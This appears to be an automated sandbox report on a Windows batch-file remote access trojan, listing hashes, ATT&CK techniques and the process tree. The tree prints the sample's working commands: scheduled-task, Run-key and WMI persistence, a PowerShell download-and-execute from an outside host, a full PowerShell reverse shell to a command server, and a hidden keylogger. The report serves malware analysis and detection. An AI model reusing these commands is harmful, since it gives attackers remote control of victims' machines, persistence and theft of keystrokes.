b58d01c729c9deeddcb3b970087e51d99d283f6f63c29edd03b57cec10665a71

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:37

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General

Target
rat_build_24416_014146.bat
Size 4KB
Sample260529-b112csgz71
SHA256 b58d01c729c9deeddcb3b970087e51d99d283f6f63c29edd03b57cec10665a71
MD5 52893ad728c652ccc9c5071bd896bcc5
SHA1 69ff81804240190659e421b062b07c3058c31027
SHA512 2efccd36c09d5b1493e481bdcfdb3de7326ea4406f6349eae9f4d72a1192f1a7f3c50575e9fe0cf1a5a5f0b6dd7c0382e86eb33b7be68cf4648573dc2e1916db
SSDEEP 96:HJINGW1ZI2nipWOw0WIYggHwE/hNdAUjoBK/YgnTjg1dOv9eRniFgZk8mvlo1RNY:p61ZG5LWQIdt/Jj7wiFgkHlSNY
TLSH
T175A118172B93752099B41204D9323C54636CE6FB1304CDCEFB48CED91A4DE8B91667EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_24416.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3960	powershell.exe
4772	powershell.exe
1640	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_24416 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_24416.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2264	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4468	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4192	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4648	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3960	powershell.exe
3960	powershell.exe
4772	powershell.exe
4772	powershell.exe
1640	powershell.exe
1640	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4508	WMIC.exe
Token: SeSecurityPrivilege	4508	WMIC.exe
Token: SeTakeOwnershipPrivilege	4508	WMIC.exe
Token: SeLoadDriverPrivilege	4508	WMIC.exe
Token: SeSystemProfilePrivilege	4508	WMIC.exe
Token: SeSystemtimePrivilege	4508	WMIC.exe
Token: SeProfSingleProcessPrivilege	4508	WMIC.exe
Token: SeIncBasePriorityPrivilege	4508	WMIC.exe
Token: SeCreatePagefilePrivilege	4508	WMIC.exe
Token: SeBackupPrivilege	4508	WMIC.exe
Token: SeRestorePrivilege	4508	WMIC.exe
Token: SeShutdownPrivilege	4508	WMIC.exe
Token: SeDebugPrivilege	4508	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4508	WMIC.exe
Token: SeRemoteShutdownPrivilege	4508	WMIC.exe
Token: SeUndockPrivilege	4508	WMIC.exe
Token: SeManageVolumePrivilege	4508	WMIC.exe
Token: 33	4508	WMIC.exe
Token: 34	4508	WMIC.exe
Token: 35	4508	WMIC.exe
Token: 36	4508	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4508	WMIC.exe
Token: SeSecurityPrivilege	4508	WMIC.exe
Token: SeTakeOwnershipPrivilege	4508	WMIC.exe
Token: SeLoadDriverPrivilege	4508	WMIC.exe
Token: SeSystemProfilePrivilege	4508	WMIC.exe
Token: SeSystemtimePrivilege	4508	WMIC.exe
Token: SeProfSingleProcessPrivilege	4508	WMIC.exe
Token: SeIncBasePriorityPrivilege	4508	WMIC.exe
Token: SeCreatePagefilePrivilege	4508	WMIC.exe
Token: SeBackupPrivilege	4508	WMIC.exe
Token: SeRestorePrivilege	4508	WMIC.exe
Token: SeShutdownPrivilege	4508	WMIC.exe
Token: SeDebugPrivilege	4508	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4508	WMIC.exe
Token: SeRemoteShutdownPrivilege	4508	WMIC.exe
Token: SeUndockPrivilege	4508	WMIC.exe
Token: SeManageVolumePrivilege	4508	WMIC.exe
Token: 33	4508	WMIC.exe
Token: 34	4508	WMIC.exe
Token: 35	4508	WMIC.exe
Token: 36	4508	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3952	WMIC.exe
Token: SeSecurityPrivilege	3952	WMIC.exe
Token: SeTakeOwnershipPrivilege	3952	WMIC.exe
Token: SeLoadDriverPrivilege	3952	WMIC.exe
Token: SeSystemProfilePrivilege	3952	WMIC.exe
Token: SeSystemtimePrivilege	3952	WMIC.exe
Token: SeProfSingleProcessPrivilege	3952	WMIC.exe
Token: SeIncBasePriorityPrivilege	3952	WMIC.exe
Token: SeCreatePagefilePrivilege	3952	WMIC.exe
Token: SeBackupPrivilege	3952	WMIC.exe
Token: SeRestorePrivilege	3952	WMIC.exe
Token: SeShutdownPrivilege	3952	WMIC.exe
Token: SeDebugPrivilege	3952	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3952	WMIC.exe
Token: SeRemoteShutdownPrivilege	3952	WMIC.exe
Token: SeUndockPrivilege	3952	WMIC.exe
Token: SeManageVolumePrivilege	3952	WMIC.exe
Token: 33	3952	WMIC.exe
Token: 34	3952	WMIC.exe
Token: 35	3952	WMIC.exe
Token: 36	3952	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3952	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3108 wrote to memory of 4648	3108	cmd.exe	86
PID 3108 wrote to memory of 4192	3108	cmd.exe	88
PID 3108 wrote to memory of 4508	3108	cmd.exe	89
PID 3108 wrote to memory of 3952	3108	cmd.exe	91
PID 3108 wrote to memory of 4680	3108	cmd.exe	92
PID 3108 wrote to memory of 4468	3108	cmd.exe	95
PID 3108 wrote to memory of 2264	3108	cmd.exe	99
PID 3108 wrote to memory of 3960	3108	cmd.exe	100
PID 3108 wrote to memory of 4772	3108	cmd.exe	103
PID 3108 wrote to memory of 1640	3108	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_24416_014146.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3108
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_24416" /tr "C:\Users\Admin\AppData\Local\Temp\_24416.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4648
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_24416" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_24416.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4192
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_24416", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4508
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_24416", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_24416.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3952
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_24416.txt
  2⤵
  PID:4680
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4468
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:2264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_24416.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1640

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 53f570fa944ce9535cdd7a42cf90ff2ffb1d90d037846e5762a61a4fe7e30ca3
MD5 6fd4f4df4917a8d8997ddc513a7fc03e
SHA1 d0e89cb6853b491799b05d892380a7c4eafdc18f
SHA512 a88aefcb22181b0775a4701f75ca06f6c3500266f1189513690449091438c8033e9ad2e5fa7bb805904b20f0e23b90baf380d070b95e78afe7fa94fb615a00bf
TLSH
T1FA117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8c54d4148a9e2a3b524f471f99aa3d48778239ae494908b544ef8f014d7d0eee
MD5 5ed3bd9bc72e312aadc7571ad8786379
SHA1 c6cc90bf1250e7ec5cd7680a9689940cec6398da
SHA512 d020f76b71142f58c990f62354c568d9cee901a2e808d11d4e6d439aa3ffc36f070d613e3bd9522aaa1d44d3288c91c89fcf911600fdad9e96d3900c12941c47
TLSH
T18E115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_c50fxp53.ylv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c50fxp53.ylv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3960-10-0x0000011B7E590000-0x0000011B7E5B2000-memory.dmp

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